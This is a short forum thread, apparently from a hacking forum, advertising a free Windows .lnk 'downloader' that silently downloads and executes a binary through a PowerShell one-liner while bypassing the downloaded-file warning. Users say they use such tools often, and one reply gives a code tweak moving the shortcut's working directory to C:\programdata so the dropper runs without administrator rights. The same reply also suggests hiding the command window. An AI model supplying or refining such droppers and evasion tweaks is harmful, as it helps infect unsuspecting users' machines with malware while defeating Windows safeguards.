Thread: [\[FREE TOOL\] Win10/7 .lnk Downloader \[FREE TOOL\]](#)

jcbullet - July 2, 2018, 10:40 am

Hi,

I have seen some tools being sold here which bypasses windows 10 , "File downloaded from the internet"

With this program - You are able to download and execute the binary with no prompts, Unless your file requires Admin.

PLEASE PM FOR DOWNLOAD - NO LEECHERS

Useful tool, kinda easy to find on GitHub and compile yourself though. I use .LKN downloaders quite often.

Hi, Thank you - It is using powershell oneliner to download and then execute.

thx for sharing, will use it surly

Jacque Fresco - July 7, 2018, 5:13 am

The powershell fails because it has insufficient right to write the file to system32, to fix that change

PHP Code

```
<?php
```

```
shortcut.WorkingDirectory = "c:\\windows\\system32";
```

to

PHP Code

```
<?php
```

```
shortcut.WorkingDirectory = "c:\\programdata";
```

and it will work even when the user dont give administrator priviliges (:

Also the cmd is a bit obvious so it would be better to hide it.
